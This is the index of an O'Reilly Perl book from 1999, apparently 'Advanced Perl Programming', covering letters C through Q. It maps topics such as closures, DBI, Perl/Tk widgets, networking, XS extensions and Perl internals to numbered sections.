A.1.2. Checkbutton
14.3.3. Radiobuttons and Checkbuttons
child processes : 12.3.1. Multiple Threads of Execution
CHLD signal : 12.3.1. Multiple Threads of Execution
Christiansen, Tom
2. Implementing Complex Data Structures
2.6. Resources
4.4.3. Closures Versus Objects
5.6. Using Eval for Time-Outs
circular references : 1.6.1. Reference Counts
class (static) methods : 7.2.5. Class Methods and Attributes
class attributes : 7.2.5. Class Methods and Attributes
classes
in Java : 6.9.4. Java
overriding : 7.2.6.1. Overriding base classes
superclasses (base classes) : 7.2.6. The Need for Inheritance
clients
handling multiple : 12.3. Handling Multiple Clients
prebuilt modules for : 12.6. Prebuilt Client Modules
closures
4.3. Closures
20.3.5.3. Closures
objects versus : 4.4.3. Closures Versus Objects
syntax : B.3. Closures
COBOL language : 1. Data References and Anonymous Storage
code
code values (CVs) : 20.3.5. Code Values
hand-coding XSUBs : 20.4.2. The Called Side: Hand-Coding an XSUB
CODE directive (XS) : 18.4.4. Special Code
code generation : 17.1. On Code Generation
input specification parser
17.2. Jeeves Example
17.3.1. Advantages of This Architecture
example of : 17.5. Sample Specification Parser
Jeeves framework
17.2. Jeeves Example
17.3. Jeeves Overview
stages of : 20.2.2.2. Compilation and code generation stages
collision chaining : 20.3.3.1. Inside HVs
colors, widgets and : 14.3.1.3. Colors
columns, extracting from files (example) : 5.5.2. Extracting Columns from a File
command lines, aliasing on : 3.2.2.2. Aliasing on command lines
command property : (see widgets)
commit_transaction function : 11.1. Adaptor: An Introduction
communications endpoints : (see sockets)
compiling : 20.7. A Peek into the Future
modules/packages : 6.3. Package Initialization and Destruction
with yacc : 20.2.2.2. Compilation and code generation stages
component-based programming : The Case for Scripting
composition : 8.3.4. Using Composition Instead
concurrency : 10.1. Persistence Issues
connect function : 13.1. Msg: Messaging Toolkit
connection-oriented communication : 12.1. Networking Primer
connectionless communication : 12.1. Networking Primer
constant folding : 20.2.2.2. Compilation and code generation stages
constants : 3.3.2. Constants
references to : 1.1. Referring to Existing Variables
context propagation : 20.2.2.2. Compilation and code generation stages
context stack : 20.4.3. Inside Other Stacks
Ctrl-C signal : 4.2.2. Signal Handlers
CVs (code values) : 20.3.5. Code Values
cxstack : 20.4.3. Inside Other Stacks

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

-D command-line switch : 20.1. Reading the Source
Data::Dumper module
2.5. Pretty-Printing
10.2.2. Data::Dumper
data structures : (see structures)
data type translation : 18.1. Writing an Extension: Overview
databases
generating schema for : 17.2.1. Oh, and Can You Do This Too?
mapping : 11.2.4. Multivalued Attributes and Database Mapping
DB_File module : 10.3.3. Berkeley DB
DBD::Oracle module : 10.4.1. DBI (Database Interface)
DBI module : 11.1. Adaptor: An Introduction
database mapping : 11.2.4. Multivalued Attributes and Database Mapping
implementation of : 11.3.2. Adaptor::DBI
object uniqueness and : 11.2.8. Uniqueness of Objects in Memory
DBI specification : 10.4.1. DBI (Database Interface)
DBM files, tie statement with : 9.3. Tying Hashes
DBM module : 10.3.1. DBM
deadlocks : 12.2.3. Bidirectional Communications
RPC and : 13.2. Remote Procedure Calls (RPC)
deallocating memory : 20.5.6.1. Recommended memory allocation and deallocation routines
debugger, Perl : 20.1. Reading the Source
deep binding : 4.5.2. Python
delegation : 8.2. Delegation
denial of resource attacks : 20.2.2.3. Security features
dereferencing : 1.1.2. Dereferencing
automatic : 1.1.8. No Automatic Dereferencing
multiple levels of indirection : 1.2.4. Dereferencing Multiple Levels of Indirection
subroutine references : 4.1.3. Dereferencing Subroutine References
DESTROY function
7.2.7. Object Destruction
9.1. Tying Scalars
destroying
modules/packages : 6.3. Package Initialization and Destruction
objects : 7.2.7. Object Destruction
Devel::Dump module : 20.3.2.1. Inside AVs
Devel::Peek module
20.1. Reading the Source
20.3.1.2. Inside SVs
Devel::RegExp module : 20.1. Reading the Source
Devel::Symdump module : 20.1. Reading the Source
diamond (<�>) operator : 3.1.2.1. When would you ever need to use local?
die function
B.7. Exception Handling
5.2. The Block Form: Exception Handling
time-outs and : 5.6. Using Eval for Time-Outs
directory handles
(see also filehandles)
3.4. Filehandles, Directory Handles, and Formats
modules/packages and : 6.1. Basic Package
DirHandle module : 3.4. Filehandles, Directory Handles, and Formats
dispatch tables : 4.2.1. Dispatch Table
divide-by-zero error, trapping : 5.2. The Block Form: Exception Handling
documentation
Javadoc format : 17.1. On Code Generation
POD format : 17.1. On Code Generation
dollar sign ($)
dereferencing scalars : 1.1.3. References to Scalars
Douady, Adrien : 18.6. A Detour into Fractals
double indexing scheme (example) : 2.4.1. Data Representation
doubles (NVs) : 20.3.1. Scalar Values
Dump module : 20.3.2.1. Inside AVs
Dumper module : 10.2.2. Data::Dumper
dumpValue function : 2.5. Pretty-Printing
dynamic allocation : 1. Data References and Anonymous Storage
in other languages : 1.7.1. Tcl
scalars and : 1.2.3. References to Anonymous Storage
dynamic behavior : (see run-time evaluation)
dynamic binding : 9. Tie
arrays : 9.2. Tying Arrays
filehandles : 9.4. Tying Filehandles
hashes : 9.3. Tying Hashes
monitoring variables (example) : 9.5. Example: Monitoring Variables
other languages and : 9.6. Comparisons with Other Languages
scalars : 9.1. Tying Scalars
dynamic scoping : 3.1.2. Lexical Versus Dynamic Scoping

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

-e command-line option : 5.1. The String Form: Expression Evaluation
/e flag with substitutions : 5.4.1. Expression Evaluation in Substitutions
element references : 1.6.2. Array/Hash References Versus Element References
Embed module : 19.4. Adding Extensions
embedding Perl
19. Embedding Perl:The Easy Way
20.6. Easy Embedding API
macros for : 20.4.1. Calling a Perl Subroutine
emit_open_file procedure : 17.4.2. Template Parser
emit_opening_statement procedure : 17.4.2. Template Parser
encapsulation
7.1. OO: An Introduction
7.2.8. Accessor Methods
11.2.2. Object Encapsulation
END block, compilation and : 6.3. Package Initialization and Destruction
Entry widgets
A.3. Entry
14.3.5.5. The entry widget
Env module
6.5.1. How Do use and Exporter Work?
9.3. Tying Hashes
errors
(see also exceptions)
5.2. The Block Form: Exception Handling
creating uniform DBI numbers : 10.4.1.6. What DBI does not provide
eval function and : 5.1. The String Form: Expression Evaluation
when parsing files : 6.3. Package Initialization and Destruction
Ev function : 14.6.2. Event Details
$EVAL_ERROR variable : 5.1. The String Form: Expression Evaluation
eval function : B.7. Exception Handling
exception handling with : 5.2. The Block Form: Exception Handling
expression evaluation with
5.1. The String Form: Expression Evaluation
5.4. Using Eval for Expression Evaluation
improving preformance with : 5.5. Using Eval for Efficiency
other languages and : 5.7. Eval in Other Languages
quotation marks and : 5.3. Watch Your Quotes
security and : 5.1. The String Form: Expression Evaluation
for time-outs : 5.6. Using Eval for Time-Outs
events
event details : 14.6.2. Event Details
event loops
Msg module : 13.1.1.4. Msg: Event loop routines
Perl/Tk and : 14.2. Starting with Perl/Tk
widgets and : 14.7. Event Loops
modifiers of : 14.6. Event Bindings
multiple bindings to : 14.6.1. Multiple Bindings
widget event bindings : 14.6. Event Bindings
examples, obtaining : FTP
exceptions : B.7. Exception Handling
Exception.pm module : 5.2.1.1. Exception.pm
exceptions.pl module : 5.2.1.2. exceptions.pl
handling with eval : 5.2. The Block Form: Exception Handling
modules for : 5.2.1. Standard Modules
other languages and : 5.7. Eval in Other Languages
SWIG and : 18.3. SWIG Features
executor : 20.2.3. Executor
Exporter module : 6.5. Importing Symbols
expression evaluation
5.1. The String Form: Expression Evaluation
5.4. Using Eval for Expression Evaluation
/e flag with substitutions : 5.4.1. Expression Evaluation in Substitutions
expressions, plotting : 4.2.2.1. Expression plotting
EXTEND macro : 20.4.2.2. Ensuring that the stack is big enough
extensions, Perl : 19.4. Adding Extensions
ExtUtils::Embed module : 19.4. Adding Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

F_SETFL command : 12.3.3. Nonblocking Filehandles
Fcntl module : 12.3.3. Nonblocking Filehandles
FETCH function : 9.1. Tying Scalars
File module : 11.1. Adaptor: An Introduction
database mapping : 11.2.4. Multivalued Attributes and Database Mapping
implementation of : 11.3.1. Adaptor::File
object uniqueness and : 11.2.8. Uniqueness of Objects in Memory
FileHandle module
3.4. Filehandles, Directory Handles, and Formats
3.4.3. Localizing Filehandles
filehandles
B.10. Filehandles, Formats
3.4. Filehandles, Directory Handles, and Formats
dynamic binding : 9.4. Tying Filehandles
localizing : 3.4.3. Localizing Filehandles
modules/packages and : 6.1. Basic Package
networking and : 12.5. IO Objects and Filehandles
nonblocking : 12.3.3. Nonblocking Filehandles
passing to subroutines : 3.4.2. Passing Filehandles to Subroutines
fileno function : 12.5. IO Objects and Filehandles
files
as arrays (example) : 9.2.1. TIEARRAY Example: File as an Array
extracting columns from (example) : 5.5.2. Extracting Columns from a File
modules/packages and : 6.2. Packages and Files
serialization : (see serialization)
FIRSTKEY function : 9.3. Tying Hashes
flush function : 11.1. Adaptor: An Introduction
Adaptor::DBI module : 11.3.2.1. Storing objects
Adaptor::File module : 11.3.1.1. Storing objects
FMTEYEWTK tutorials
2. Implementing Complex Data Structures
2.6. Resources
FNDELAY flag : 12.3.3. Nonblocking Filehandles
foreach statement : 3.2.2.1. Efficient parameter passing
foreign keys : 11.2.7. Object Associations
fork function : 12.3.1. Multiple Threads of Execution
forking servers : 12.3.1. Multiple Threads of Execution
fractal-drawing example
18.2. Example: Fractals with Perl
18.6. A Detour into Fractals
Frame widgets : 14.3.7. Frame
freeze function : 13.2.2. RPC: Implementation
FreezeThaw module : 10.2.1. FreezeThaw
FTP module : 12.6.1. Net::FTP
FTP, obtaining examples by : FTP
FTPMAIL, obtaining examples by : FTPMAIL
fully qualified names : 6.1. Basic Package
functions, SWIG : 18.3. SWIG Features
future of Perl : 20.7. A Peek into the Future

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

garbage collection : 1.6.1. Reference Counts
objects and : 7.2.7. Object Destruction
generating random numbers : 4.4.2.1. Random number generation
generic XS typemaps : 20.5.4. Making XS Typemaps More Generic
geometry management
14.2. Starting with Perl/Tk
14.4. Geometry Management
get_attributes function : 11.2.2. Object Encapsulation
database mapping and : 11.2.4. Multivalued Attributes and Database Mapping
get_line function : 12.2.1. Receiver
glob values : (see typeglobs)
global variables : 3.1. Perl Variables, Symbol Table, and Scoping
glue code : 18.1. Writing an Extension: Overview
writing : 18.4.4. Special Code
graphical user interfaces : (see GUIs)
graphics, widgets and : 14.3.1.2. Images
grep, multipattern (example) : 5.5.1. A Fast Multipattern grep
grid function : 14.4.2. Grid
grid geometry manager : 14.4.2. Grid
GUIs (graphical user interfaces) : 14. User Interfaces with Tk
Perl/Tk and : 14.2. Starting with Perl/Tk
perlman text viewer example : 16. GUI Example: Man Page Viewer
Tetris (example) : 15. GUI Example: Tetris
GVs : (see typeglobs)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

h2xs tool : (see XS tool)
handles : (see directory handles; filehandles)
handling
exceptions : (see exceptions)
multiple clients : 12.3. Handling Multiple Clients
signals : 4.2.2. Signal Handlers
hard references : 1.6.1. Reference Counts
hash functions : 20.3.3.1. Inside HVs
hash values/entries (HVs/HEs) : 20.3.3. Hash Values (HVs)
stashes : (see symbol tables)
hashes : 1.6. A View of the Internals
anonymous
1.2.3. References to Anonymous Storage
1.3.2. Final Shortcut: Omit Arrows Between Subscripts
arrow notation for : 1.1.7. Shortcuts with the Arrow Notation
dynamic binding : 9.3. Tying Hashes
of hashes : 2.2.1. Hash of Hashes Representation
named : 1.3. Nested Data Structures
passing to subroutines : 1.2.1. Passing Arrays and Hashes to Subroutines
professors/students/courses example : 2.3.1. Representation
references to
1.1.5. References to Hashes
1.6.2. Array/Hash References Versus Element References
simulating data structures with : 2.1. User-Defined Structures
of symbolic references : 1.5. Symbolic References
header files (C) : 18.1.1. The Extension Process
here documents : 17.4.2. Template Parser
HEs (hash entries) : 20.3.3. Hash Values (HVs)
higher-order procedures : 4.2.2.1. Expression plotting
HiRes module : 9.1.1. Example: Stopwatch
HList widgets
A.8. HList - Hierarchical List
14.3.11. HList
Hubbard, John : 18.6. A Detour into Fractals
Hungarian notation : 1.2.4. Dereferencing Multiple Levels of Indirection
HVs (hash values) : 20.3.3. Hash Values (HVs)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

-I command-line option : 6.2.1. Load Path
I/O abstraction : 20.2.1. Perl Objects
I/O redirection : 3.4.1. I/O Redirection
identity, object
7.2.2. Unique Identity
11.2.6. Object Identity
IDL (Interface Definition Language) : 17.1. On Code Generation
images, widgets and : 14.3.1.2. Images
impedance mismatch : 10.1. Persistence Issues
implementation inheritance : 8.3.2. Implementation Inheritance
import subroutine : 6.5.1. How Do use and Exporter Work?
importing symbols : 6.5. Importing Symbols
@INC array : 6.2.1. Load Path
indexes, text positioning : 14.3.5.1. Inserting text at absolute positions
indirect notation : 7.2.5.1. Detour: The indirect notation
indirection, multiple levels of : 1.2.4. Dereferencing Multiple Levels of Indirection
INET module : 12.2.1. Receiver
Ing-Simmons, Nick : 14.1. Introduction to GUIs, Tk, and Perl/Tk
inheritance
7.1. OO: An Introduction
7.2.6. The Need for Inheritance
8.3. On Inheritance
11.2.5. Inheritance and Database Mapping
hierarchy, searching : 7.3.1. Searching for Methods
initializing
C library : 18.1. Writing an Extension: Overview
modules/packages : 6.3. Package Initialization and Destruction
input specification parser
17.2. Jeeves Example
17.3.1. Advantages of This Architecture
example of : 17.5. Sample Specification Parser
instance methods : 7.2.3. Behavior
arrow notation for : 7.2.4. The Need for Polymorphism
INT signal : 4.2.2. Signal Handlers
integer values (IVs)
20.3.1.3. SVs and object pointers
20.3.1. Scalar Values
Interface Definition Language (IDL) : 17.1. On Code Generation
interface functions : 7.2.3. Behavior
interface inheritance : 8.3.3. Interface Inheritance
interpreters, multiple : 20.2.1.1. Multiple interpreters
introspection
(see
(see reflection)
IO objects : 12.5. IO Objects and Filehandles
IO::Select module
12.3.2. Multiplexing Using select
12.5. IO Objects and Filehandles
IO::Socket module : 12.2. Socket API and IO::Socket
IP (Internet) addresses : 12.1. Networking Primer
@ISA array : 7.2.6. The Need for Inheritance
isa function : 7.3. UNIVERSAL
iterators : 4.4.2. Iterators and Streams
IVs (integer values) : 20.3.1.3. SVs and object pointers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

Java language
callbacks in : 4.5.4. Java
dynamic tracing : 9.6.4. Java
exception handling : 5.2. The Block Form: Exception Handling
modular programming in : 6.9.4. Java
object orientation : 7.5.3. C++ and Java
references in : 1.7.4. Java
run-time evaluation and error handling : 5.7.4. Java
Jeeves code generation framework
example of : 17.2. Jeeves Example
implementation of : 17.4. Jeeves Implementation
overview of : 17.3. Jeeves Overview
jeeves driver program
17.3. Jeeves Overview
17.4.3. Jeeves Driver

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

keyboard events : 14.6. Event Bindings

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

labels : 14.3.2. Labels and Buttons
lexical scoping : 3.1.2. Lexical Versus Dynamic Scoping
lexical variables
3.1.1. Lexical Variables
6.1.1. Packages and Variables
libraries : 6.2. Packages and Files
lists
HList widgets
A.8. HList - Hierarchical List
14.3.11. HList
Listbox widgets
A.4. Listbox
14.3.6. Listbox
ScrlListBox function : 14.3.9. Scrollbars and Scrolling
load path : 6.2.1. Load Path
load_all function : 11.3.1.2. Retrieving objects
loading modules/packages : 6.7. Autoloading
local
filehandles : 3.4.3. Localizing Filehandles
variables
3.2.3. Aliasing Problem: Variable Suicide
4.3.1. Closures, Behind the Scenes
20.3.5.2. How local and my work
local operator : 1.2.3. References to Anonymous Storage
my operator versus : 3.1.2. Lexical Versus Dynamic Scoping
localizing variables : 1.2.3. References to Anonymous Storage
logical text widget positioning : 14.3.5.2. Inserting text at logical positions
longjmp function : 5.6. Using Eval for Time-Outs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

-M option : 19.4. Adding Extensions
machine independence : 10.1. Persistence Issues
macros to manipulate stacks : 20.4.2. The Called Side: Hand-Coding an XSUB
magic variables : 20.3.6. Magic Variables
main (top-level) window, Perl/Tk : 14.2. Starting with Perl/Tk
Makefile, generating automatically : 18.2.1. Fractals Using SWIG
malloc command (C) : 1. Data References and Anonymous Storage
man pages, viewing with perlman : 16.1. man and perlman
Mandelbrot code example
18.2. Example: Fractals with Perl
18.6. A Detour into Fractals
many-to-many associations : 11.2.7. Object Associations
marks : 14.3.5.2. Inserting text at logical positions
markstacks : 20.4. Stacks and Messaging Protocol
marshalling parameters : 13.2. Remote Procedure Calls (RPC)
matrices data structure (example) : 2.2. Example: Matrices
memory
denial of resource attacks : 20.2.2.3. Security features
managing
1.6. A View of the Internals
18.1. Writing an Extension: Overview
XS tool and : 20.5.6. Memory Management Using XS
Menu widgets
A.5. Menus
14.3.8. Menus
MenuButton widget : 14.3.8. Menus
messages, definition of : 13. Networking: Implementing RPC
messaging protocol : 20.4. Stacks and Messaging Protocol
meta-information : B.8. Meta-Information
metadata
10.1. Persistence Issues
10.4.1.3. Query meta-data
10.4.1.6. What DBI does not provide
methods
accessor methods : 7.2.8. Accessor Methods
class (static) methods : 7.2.5. Class Methods and Attributes
instance methods
7.2.3. Behavior
7.2.4. The Need for Polymorphism
searching for : 7.3.1. Searching for Methods
SWIG : 18.3. SWIG Features
widget methods : A. Tk Widget Reference
MLDBM module : 10.3.2. MLDBM
modifiers, event : 14.6. Event Bindings
modules/packages
(see also under specific module name)
6. Modules
6.5. Importing Symbols
Language Syntax
autoloading : 6.7. Autoloading
conventions for : 7.4. Recap of Conventions
files and : 6.2. Packages and Files
initializing and destroying : 6.3. Package Initialization and Destruction
@ISA array : 7.2.6. The Need for Inheritance
nested : 6.6. Nesting Packages
in other languages : 6.9. Language Comparisons
prebuilt clients : 12.6. Prebuilt Client Modules
privacy and : 6.4. Privacy
syntax for : B.4. Modules
monitoring variables (example) : 9.5. Example: Monitoring Variables
mortal calls : 20.3.1. Scalar Values
Msg module : 13.1. Msg: Messaging Toolkit
implementation of : 13.1.1. Msg Implementation
multidimensional arrays : 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
matrix representation with : 2.2. Example: Matrices
multipattern grep (example) : 5.5.1. A Fast Multipattern grep
multiplexing : 12.3.2. Multiplexing Using select
multithreading
12.4. Real-World Servers
20.7. A Peek into the Future
networking and
12.3.1. Multiple Threads of Execution
12.4. Real-World Servers
scratchpads and : 20.3.5.2. How local and my work
my operator : 1.2.3. References to Anonymous Storage
local operator versus : 3.1.2. Lexical Versus Dynamic Scoping
typeglobs and : 3.2.1. Temporary Aliases
my variables : 20.3.5.2. How local and my work

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

namespaces
importing symbols into : 6.5. Importing Symbols
privacy and : 6.4. Privacy
working with multiple : 6.1. Basic Package
naming
anonymous subroutines : 3.3.3. Naming Anonymous Subroutines
modules versus libraries : 6.2. Packages and Files
named hashes : 1.3. Nested Data Structures
predifined variables : 3.2.2.3. Friendly predefined variables with aliases
nested
data structures
B.2. Nested Data Structures
1.3. Nested Data Structures
SWIG and : 18.3. SWIG Features
modules/packages : 6.6. Nesting Packages
Net::FTP module : 12.6.1. Net::FTP
Net::POP3 module : 12.6.2. Net::POP3
networking : 12. Networking with Sockets
bidirectional communication : 12.2.3. Bidirectional Communications
handling multiple clients : 12.3. Handling Multiple Clients
IO objects and filehandles : 12.5. IO Objects and Filehandles
RPC module : 13.2. Remote Procedure Calls (RPC)
servers : 12.4. Real-World Servers
new function
Adaptor::DBI module
11.2.2. Object Encapsulation
11.3.2. Adaptor::DBI
Adaptor::File module : 11.2.2. Object Encapsulation
IO::Socket module : 12.5. IO Objects and Filehandles
NEXTKEY function : 9.3. Tying Hashes
nonnblocking filehandles : 12.3.3. Nonblocking Filehandles
NVs (doubles) : 20.3.1. Scalar Values

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

O_NDELAY flag : 12.3.3. Nonblocking Filehandles
object orientation (OO) : 7.1. OO: An Introduction
inheritance
7.2.6. The Need for Inheritance
8.3. On Inheritance
other languages and : 7.5.1. Tcl
polymorphism : 7.2.4. The Need for Polymorphism
object pointers : 20.3.1.3. SVs and object pointers
object references : 7.2.2. Unique Identity
objects
7.2. Objects in Perl
20.2.1. Perl Objects
associations between : 11.2.7. Object Associations
attributes of
7.2.8. Accessor Methods
7.2.1. Attributes
8.1. Efficient Attribute Storage
closures versus
4.4.3. Closures Versus Objects
20.3.5.4. Objects versus closures
delegation : 8.2. Delegation
destroying : 7.2.7. Object Destruction
encapsulating : (see encapsulation)
faster : 20.7. A Peek into the Future
identity of : 11.2.6. Object Identity
IO objects : 12.5. IO Objects and Filehandles
syntax of : B.5. Objects
uniquess of : 11.2.8. Uniqueness of Objects in Memory
ObjectTemplate library
8.1.1. ObjectTemplate: Attribute Storage Using Arrays
11.1. Adaptor: An Introduction
ODBC module : 10.4.2. Win32::ODBC
ODBC specification : 10.4. Relational Databases
one-to-many associations : 11.2.7. Object Associations
OO : (see object orientation)
opcodes : 20.2.2. Translator
open function : 3.4. Filehandles, Directory Handles, and Formats
opendir function : 3.4. Filehandles, Directory Handles, and Formats
optimizing (peephole optimizer) : 20.2.2.2. Compilation and code generation stages
Oracle module : 10.4.1. DBI (Database Interface)
oraperl executable : 10.4.1. DBI (Database Interface)
orthogonal (transparent) persistence
11. Implementing Object Persistence
11.2.1. Design Goals
Ousterhout, John : The Case for Scripting
overriding base classes : 7.2.6.1. Overriding base classes

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

pack function
14.2. Starting with Perl/Tk
14.4.1. Packer
package statement : 6.1. Basic Package
packages : (see modules/packages)
packer geometry manager : 14.4.1. Packer
padlists : 20.3.5.2. How local and my work
parameters
passing with typeglobs : 3.2.2.1. Efficient parameter passing
SWIG and : 18.3. SWIG Features
XS and : 18.4.2. Default and Optional Parameters
parentheses, for anonymous arrays : 1.2.3. References to Anonymous Storage
parse_query function : 11.3.1.3. Query processing
parser, input specification
17.2. Jeeves Example
17.3.1. Advantages of This Architecture
example of : 17.5. Sample Specification Parser
parser, template : 17.4.2. Template Parser
pattern matching (example) : 5.5.1. A Fast Multipattern grep
PDL module : 2.2. Example: Matrices
Peek module
20.1. Reading the Source
20.3.1.2. Inside SVs
peephole optimizer : 20.2.2.2. Compilation and code generation stages
percent sign (%) for dereferencing hashes : 1.1.5. References to Hashes
performance
efficient attribute storage : 8.1. Efficient Attribute Storage
eval function to improve : 5.5. Using Eval for Efficiency
memory management
1.6. A View of the Internals
20.5.6. Memory Management Using XS
references and : 1.2.2. Performance Efficiency
typeglob aliases and : 3.2.2. Using Typeglob Aliases
Perl
advantages of : Why Perl?
API for : 19.2. Embedding Overview
architecture : 20.2. Architecture
code generation : 17.1. On Code Generation
compiler for : 20.7. A Peek into the Future
debugger for : 20.1. Reading the Source
printing data structures with : 2.5. Pretty-Printing
embedding
19. Embedding Perl:The Easy Way
20.4.1. Calling a Perl Subroutine
20.6. Easy Embedding API
executor : 20.2.3. Executor
extensions : 19.4. Adding Extensions
future of : 20.7. A Peek into the Future
language syntax : Language Syntax
resources on : Resources
translator : 20.2.2. Translator
using C with : 18. Extending Perl:A First Course
Mandelbrot code example : 18.2. Example: Fractals with Perl
value types : 20.3. Perl Value Types
Perl interpreter : The Perl Interpreter
Perl/Tk toolkit : 14.2. Starting with Perl/Tk
event bindings : 14.6. Event Bindings
event loops : 14.7. Event Loops
ptK (portable Tk) : 14.1. Introduction to GUIs, Tk, and Perl/Tk
timers : 14.5. Timers
widget reference : A. Tk Widget Reference
PERL5LIB environment variable : 6.2.1. Load Path
perl_alloc function : 19.2. Embedding Overview
perl_call_argv function
19.2. Embedding Overview
19.3. Examples
perl_call_va function
19.2. Embedding Overview
19.3. Examples
20.6. Easy Embedding API
perl_construct function : 19.2. Embedding Overview
perl_eval_va function
19.2. Embedding Overview
19.3. Examples
20.6. Easy Embedding API
perl_parse function
19.2. Embedding Overview
19.3. Examples
PerlInterpreter structure : 20.2.1.1. Multiple interpreters
PerlIO object : 20.2.1. Perl Objects
perlman text viewer : 16. GUI Example: Man Page Viewer
perltoot document : 4.4.3. Closures Versus Objects
persistence
10. Persistence
11. Implementing Object Persistence
Adaptor project : 11. Implementing Object Persistence
record-oriented : 10.3. Record-Oriented Approach
streamed data : 10.2. Streamed Data
transparent (orthogonal)
11. Implementing Object Persistence
11.2.1. Design Goals
pixmaps, widgets and : 14.3.1.2. Images
platform independence : 10.1. Persistence Issues
plotting expressions : 4.2.2.1. Expression plotting
.pm and .pl files : 6.2. Packages and Files
POD format : 17.1. On Code Generation
pointer values (PVs) : 20.3.1. Scalar Values
pointers : (see references)
polymorphism
7.1. OO: An Introduction
7.2.4. The Need for Polymorphism
"poor man's garbage collection" : 1.6.1. Reference Counts
POP3 module : 12.6.2. Net::POP3
portability : 10.1. Persistence Issues
ports and port numbers : 12.1. Networking Primer
positioning text widgets : 14.3.5.1. Inserting text at absolute positions
precedence, references and : 1.1.6. Confusion About Precedence
prepare statement (SQL) : 10.4.1.2. Select
pretty-printing : 2.5. Pretty-Printing
privacy
1.2.3. References to Anonymous Storage
6.4. Privacy
procedures : (see subroutines)
professors/students/courses example : 2.3. Professors, Students, Courses
properties, widgets
A. Tk Widget Reference
14.3.1. Widget Properties
property types : 20.3.6. Magic Variables
pseudo-random number generation : 4.4.2.1. Random number generation
pTk language : (see Perl/Tk toolkit)
Python language : Why Perl?
closures in : 4.5.2. Python
__getattr__ and __setattr__ : 9.6.2. Python
modular programming in : 6.9.2. Python
object orientation of : 7.5.2. Python
references in : 1.7.2. Python
run-time evaluation and error handling : 5.7.2. Python

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

queries
10.1. Persistence Issues
10.4.1.3. Query meta-data
11.2.9. Queries
querying references : 1.4. Querying a Reference
quiescent servers : 12.3.3. Nonblocking Filehandles
quotation marks, eval function and : 5.3. Watch Your Quotes

